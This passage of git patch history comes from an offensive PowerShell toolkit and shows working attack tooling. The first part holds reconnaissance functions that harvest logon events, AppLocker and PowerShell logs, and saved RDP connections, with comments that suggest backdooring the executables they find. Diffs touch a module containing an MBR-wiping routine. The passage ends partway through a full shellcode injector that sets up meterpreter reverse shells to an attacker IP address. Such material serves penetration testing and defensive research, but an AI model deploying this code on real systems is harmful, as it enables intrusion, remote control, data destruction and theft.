authenticaiton patterns. Other actions that will trigger this include any runas action. + +.EXAMPLE + +Find-4648Logons +Gets the unique 4648 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param( + $SecurityLog + ) + + $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} + $ReturnInfo = @{} + + foreach ($ExplicitLogon in $ExplicitLogons) + { + $Subject = $false + $AccountWhosCredsUsed = $false + $TargetServer = $false + $SourceAccountName = "" + $SourceAccountDomain = "" + $TargetAccountName = "" + $TargetAccountDomain = "" + $TargetServer = "" + foreach ($line in $ExplicitLogon.Message -split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $Subject = $true + } + elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") + { + $Subject = $false + $AccountWhosCredsUsed = $true + } + elseif ($line -cmatch "^Target\sServer:") + { + $AccountWhosCredsUsed = $false + $TargetServer = $true + } + elseif ($Subject -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $SourceAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $SourceAccountDomain = $Matches[1] + } + } + elseif ($AccountWhosCredsUsed -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $TargetAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $TargetAccountDomain = $Matches[1] + } + } + elseif ($TargetServer -eq $true) + { + if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") + { + $TargetServer = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) + { + $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4648 + LogSource = "Security" + SourceAccountName = $SourceAccountName + SourceDomainName = $SourceAccountDomain + TargetAccountName = $TargetAccountName + TargetDomainName = $TargetAccountDomain + TargetServer = $TargetServer + Count = 1 + Times = @($ExplicitLogon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated + } + } + } + + return $ReturnInfo +} + +function Find-4624Logons +{ +<# +.SYNOPSIS + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +Function: Find-4624Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +.EXAMPLE + +Find-4624Logons +Find unique 4624 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param ( + $SecurityLog + ) + + $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} + $ReturnInfo = @{} + + foreach ($Logon in $Logons) + { + $SubjectSection = $false + $NewLogonSection = $false + $NetworkInformationSection = $false + $AccountName = "" + $AccountDomain = "" + $LogonType = "" + $NewLogonAccountName = "" + $NewLogonAccountDomain = "" + $WorkstationName = "" + $SourceNetworkAddress = "" + $SourcePort = "" + + foreach ($line in $Logon.Message -Split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $SubjectSection = $true + } + elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") + { + $LogonType = $Matches[1] + } + elseif ($line -cmatch "^New\sLogon:$") + { + $SubjectSection = $false + $NewLogonSection = $true + } + elseif ($line -cmatch "^Network\sInformation:$") + { + $NewLogonSection = $false + $NetworkInformationSection = $true + } + elseif ($SubjectSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $AccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $AccountDomain = $Matches[1] + } + } + elseif ($NewLogonSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $NewLogonAccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $NewLogonAccountDomain = $Matches[1] + } + } + elseif ($NetworkInformationSection) + { + if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") + { + $WorkstationName = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") + { + $SourceNetworkAddress = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") + { + $SourcePort = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = "Security" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } + + return $ReturnInfo +} + + +function Find-AppLockerLogs +{ +<# +.SYNOPSIS + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +.EXAMPLE + +Find-AppLockerLogs +Find process creations from AppLocker logs. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} + + foreach ($Log in $AppLockerLogs) + { + $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) + $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) + + $ExeName = $Log.Properties[10].Value + + $Key = $UserName.ToString() + "::::" + $ExeName + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + Exe = $ExeName + User = $UserName.Value + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + + return $ReturnInfo +} + + +Function Find-PSScriptsInPSAppLog +{ +<# +.SYNOPSIS + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +Function: Find-AppLockerLogs +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +.EXAMPLE + +Find-PSScriptsInPSAppLog +Find unique PowerShell scripts being executed from the PowerShell operational log. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} + + foreach ($Log in $Logs) + { + $ContainsScriptName = $false + $LogDetails = $Log.Message -split "`r`n" + + $FoundScriptName = $false + foreach($Line in $LogDetails) + { + if ($Line -imatch "^\s*Script\sName\s=\s(.+)") + { + $ScriptName = $Matches[1] + $FoundScriptName = $true + } + elseif ($Line -imatch "^\s*User\s=\s(.*)") + { + $User = $Matches[1] + } + } + + if ($FoundScriptName) + { + $Key = $ScriptName + "::::" + $User + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + ScriptName = $ScriptName + UserName = $User + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + } + + return $ReturnInfo +} + + +Function Find-RDPClientConnections +{ +<# +.SYNOPSIS + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +Function: Find-RDPClientConnections +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +.EXAMPLE + +Find-RDPClientConnections +Find unique saved RDP client connections. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null + + #Attempt to enumerate the servers for all users + $Users = Get-ChildItem -Path "HKU:\" + foreach ($UserSid in $Users.PSChildName) + { + $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue + + foreach ($Server in $Servers) + { + $Server = $Server.PSChildName + $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint + + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint + + if (!$ReturnInfo.ContainsKey($Key)) + { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) + $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value + + $Properties = @{ + CurrentUser = $User + Server = $Server + UsernameHint = $UsernameHint + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + } + } + + return $ReturnInfo +} \ No newline at end of file From 12ce71b9f4b0428d9425e001e5988f91eb2b8b87 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:48:27 -0500 Subject: [PATCH 027/296] Normalizing all files to ascii encoding --- Exfiltration/Get-VaultCredential.ps1 | 4 ++-- Exfiltration/VolumeShadowCopyTools.ps1 | 4 ++-- Mayhem/Mayhem.psd1 | 2 +- Mayhem/Mayhem.psm1 | 8 ++++---- Recon/Get-ComputerDetails.ps1 | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index c830fa22..57570e83 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -1,4 +1,4 @@ -function Get-VaultCredential +function Get-VaultCredential { <# .SYNOPSIS @@ -398,4 +398,4 @@ Only web credentials can be displayed in cleartext. $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) } } -} \ No newline at end of file +} diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 49fe22de..9d6952e1 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -1,4 +1,4 @@ -function Get-VolumeShadowCopy +function Get-VolumeShadowCopy { <# .SYNOPSIS @@ -289,4 +289,4 @@ function Mount-VolumeShadowCopy { } -} \ No newline at end of file +} diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 82035d8e..8eb05668 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Mayhem.psm1' diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0b4f843c..0baaf3ed 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,4 @@ -function Set-MasterBootRecord +function Set-MasterBootRecord { <# .SYNOPSIS @@ -57,7 +57,7 @@ int CGh0stApp::KillMBR() DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; - // 重新构造MBR + // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; @@ -85,7 +85,7 @@ int CGh0stApp::KillMBR() &dwBytesReturned, NULL ); - // 写入病毒内容 + // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( @@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose { Stop-Process -Id $PID } -} \ No newline at end of file +} diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index 63ac1cb6..33e8d068 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -1,4 +1,4 @@ -function Get-ComputerDetails +function Get-ComputerDetails { <# .SYNOPSIS @@ -577,4 +577,4 @@ Github repo: https://github.com/clymb3r/PowerShell } return $ReturnInfo -} \ No newline at end of file +} From d0fff7b6371ccb52952268f47ae68e85c3aeeb91 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 14:56:46 -0500 Subject: [PATCH 028/296] Migrating everything back to Invoke-Shellcode.ps1. I'm done making my point now. :P --- CodeExecution/CodeExecution.psd1 | 2 +- CodeExecution/Invoke--Shellcode.ps1 | 763 ---------------------------- CodeExecution/Invoke-Shellcode.ps1 | 727 +++++++++++++++++++++++++- 3 files changed, 719 insertions(+), 773 deletions(-) delete mode 100644 CodeExecution/Invoke--Shellcode.ps1 diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 8dc5b757..0d0799bc 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -73,7 +73,7 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) # List of all files packaged with this module -FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', +FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 deleted file mode 100644 index b0ba81c4..00000000 --- a/CodeExecution/Invoke--Shellcode.ps1 +++ /dev/null @@ -1,763 +0,0 @@ -function Invoke-Shellcode -{ -<# -.SYNOPSIS - -Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. - -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre - -PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): - -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- - -Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - -.PARAMETER ProcessID - -Process ID of the process you want to inject shellcode into. - -.PARAMETER Shellcode - -Specifies an optional shellcode passed in as a byte array - -.PARAMETER ListMetasploitPayloads - -Lists all of the available Metasploit payloads that Invoke-Shellcode supports - -.PARAMETER Lhost - -Specifies the IP address of the attack machine waiting to receive the reverse shell - -.PARAMETER Lport - -Specifies the port of the attack machine waiting to receive the reverse shell - -.PARAMETER Payload - -Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - -.PARAMETER UserAgent - -Optionally specifies the user agent to use when using meterpreter http or https payloads - -.PARAMETER Proxy - -Optionally specifies whether to utilize the proxy settings on the machine. - -.PARAMETER Legacy - -Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. - -.PARAMETER Force - -Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ProcessId 4274 - -Description ------------ -Inject shellcode into process ID 4274. - -.EXAMPLE - -C:\PS> Invoke-Shellcode - -Description ------------ -Inject shellcode into the running instance of PowerShell. - -.EXAMPLE - -C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -C:\PS> $Proc = Get-Process notepad -C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose - -VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM -VERBOSE: Injecting shellcode into PID: 4004 -VERBOSE: Injecting into a Wow64 process. -VERBOSE: Using 32-bit shellcode. -VERBOSE: Shellcode memory reserved at 0x03BE0000 -VERBOSE: Emitting 32-bit assembly call stub. -VERBOSE: Thread call stub memory reserved at 0x001B0000 -VERBOSE: Shellcode injection complete! - -Description ------------ -Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_https): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 443 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - -Description ------------ -Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_http): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 80 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - -Description ------------ -Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) -Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ListMetasploitPayloads - -Payloads --------- -windows/meterpreter/reverse_http -windows/meterpreter/reverse_https - -.NOTES - -Use the '-Verbose' option to print detailed information. - -Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter - -Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ - -.LINK - -http://www.exploit-monday.com -#> - -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateSet( 'windows/meterpreter/reverse_http', - 'windows/meterpreter/reverse_https', - IgnoreCase = $True )] - [String] - $Payload = 'windows/meterpreter/reverse_http', - - [Parameter( ParameterSetName = 'ListPayloads' )] - [Switch] - $ListMetasploitPayloads, - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateNotNullOrEmpty()] - [String] - $Lhost = '127.0.0.1', - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateRange( 1,65535 )] - [Int] - $Lport = 8443, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [String] - $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Legacy = $False, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [Switch] - $Proxy = $False, - - [Switch] - $Force = $False -) - - Set-StrictMode -Version 2.0 - - # List all available Metasploit payloads and exit the function - if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') - { - $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | - Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} - - foreach ($Payload in $AvailablePayloads.ValidValues) - { - New-Object PSObject -Property @{ Payloads = $Payload } - } - - Return - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Ensure a valid process ID was provided - # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive - Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } - - function Local:Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - function Local:Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload - function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) - { - $IntSizePtr = $Architecture / 8 - - function Local:ConvertTo-LittleEndian ([IntPtr] $Address) - { - $LittleEndianByteArray = New-Object Byte[](0) - $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } - [System.Array]::Reverse($LittleEndianByteArray) - - Write-Output $LittleEndianByteArray - } - - $CallStub = New-Object Byte[](0) - - if ($IntSizePtr -eq 8) - { - [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL RAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL RAX - } - else - { - [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL EAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL EAX - } - - Write-Output $CallStub - } - - function Local:Inject-RemoteShellcode ([Int] $ProcessID) - { - # Open a handle to the process you want to inject into - $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - - if (!$hProcess) - { - Throw "Unable to open a process handle for PID: $ProcessID" - } - - $IsWow64 = $false - - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit - { - # Determine is the process specified is 32 or 64 bit - $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - - if ((!$IsWow64) -and $PowerShell32bit) - { - Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' - } - elseif ($IsWow64) # 32-bit Wow64 process - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Injecting into a Wow64 process.' - Write-Verbose 'Using 32-bit shellcode.' - } - else # 64-bit process - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - } - else # 32-bit CPU - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - - # Reserve and commit enough memory in remote process to hold the shellcode - $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteMemAddr) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode into the previously allocated memory - $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($IsWow64) - { - # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate inline assembly stub - $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteStubAddr) - { - Throw "Unable to allocate thread call stub memory in PID: $ProcessID" - } - - Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Write 32-bit assembly stub to remote process memory space - $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null - - # Execute shellcode as a remote thread - $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - - if (!$ThreadHandle) - { - Throw "Unable to launch remote thread in PID: $ProcessID" - } - - # Close process handle - $CloseHandle.Invoke($hProcess) | Out-Null - - Write-Verbose 'Shellcode injection complete!' - } - - function Local:Inject-LocalShellcode - { - if ($PowerShell32bit) { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - return - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - else - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - return - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - - # Allocate RWX memory for the shellcode - $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) - { - Throw "Unable to allocate 